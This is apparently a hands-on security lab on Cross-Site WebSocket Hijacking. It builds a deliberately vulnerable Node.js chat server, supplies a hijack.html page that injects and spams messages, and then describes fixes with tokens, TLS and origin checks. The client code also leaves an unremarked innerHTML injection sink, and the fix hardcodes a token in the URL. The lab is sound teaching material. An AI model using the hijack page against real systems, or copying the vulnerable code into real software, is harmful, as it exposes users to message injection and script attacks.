Objective
Learn how to exploit Cross-Site WebSocket Hijacking (CSWH) vulnerabilities to hijack active WebSocket connections and inject malicious data. Understand prevention strategies to secure WebSocket communications.
Scenario
You are evaluating a chat application that uses WebSockets for real-time communication. Due to missing authentication and validation mechanisms, the WebSocket connection can be hijacked, allowing an attacker to intercept or inject malicious messages.
Lab Setup
Prerequisites:
- Basic knowledge of JavaScript, Node.js, and WebSocket communication.
- Node.js installed on your system.
- A code editor (e.g., VSCode, Sublime Text).
Step 1: Create the Vulnerable WebSocket Application
Set Up the Server
Create a file server.js
:
const WebSocket = require('ws');
const server = new WebSocket.Server({ port: 8080 });
server.on('connection', (ws) => {
console.log('New client connected');
ws.on('message', (message) => {
console.log(`Received: ${message}`);
ws.send(`Echo: ${message}`);
});
});
console.log('WebSocket server is running on ws://localhost:8080');
Client-Side WebSocket Connection
Create a file index.html
:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Vulnerable WebSocket Chat</title>
</head>
<body>
<h2>WebSocket Chat</h2>
<input type="text" id="messageBox" placeholder="Type a message">
<button onclick="sendMessage()">Send</button>
<div id="chat"></div>
<script>
const socket = new WebSocket('ws://localhost:8080');
socket.onmessage = function(event) {
document.getElementById('chat').innerHTML += `<p>${event.data}</p>`;
};
function sendMessage() {
const message = document.getElementById('messageBox').value;
socket.send(message);
}
</script>
</body>
</html>
Running the Application
Install the WebSocket package:
npm install ws
Start the WebSocket server:
node server.js
Open index.html
in a browser.
Exploitation Steps
Step 1: Hijacking the WebSocket Connection
Create a malicious file hijack.html
:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>WebSocket Hijack</title>
</head>
<body>
<h2>Hijacking WebSocket</h2>
<script>
const socket = new WebSocket('ws://localhost:8080');
socket.onopen = function() {
socket.send('Malicious message from attacker');
};
</script>
</body>
</html>
Host hijack.html
and trick the victim into opening it.
Expected Result:
- The attacker’s script connects to the WebSocket server and sends unauthorized messages.
Step 2: Injecting Malicious Commands
Modify hijack.html
to repeatedly send spam:
setInterval(() => {
socket.send('Spam attack!');
}, 1000);
Expected Result:
- The victim’s chat is flooded with spam messages.
Solution and Prevention
Problem Analysis
- The server accepts any connection without authentication.
Fixing the Vulnerability
Implement Authentication Tokens
Modify server.js
to verify a token:
server.on('connection', (ws, req) => {
const token = req.url.split('?token=')[1];
if (token !== 'secureToken123') {
ws.close();
return;
}
ws.on('message', (message) => {
ws.send(`Echo: ${message}`);
});
});
Secure WebSocket Connection with WSS
Use wss://
instead of ws://
with SSL/TLS encryption.
Validate Messages on the Server
Check incoming messages for valid data formats.
Implement Origin Checks
Verify the origin header to block unauthorized domains.
if (req.headers.origin !== 'http://trusted-site.com') {
ws.close();
}
Testing After Fix
- Attempt to connect with the malicious script without a valid token.
- Expected Result:
- Unauthorized connections are rejected.
Conclusion
In this lab, you exploited a Cross-Site WebSocket Hijacking (CSWH) vulnerability to inject unauthorized messages into a WebSocket server. You also learned how to prevent such attacks using authentication tokens, encrypted connections, and origin checks.
0 Comments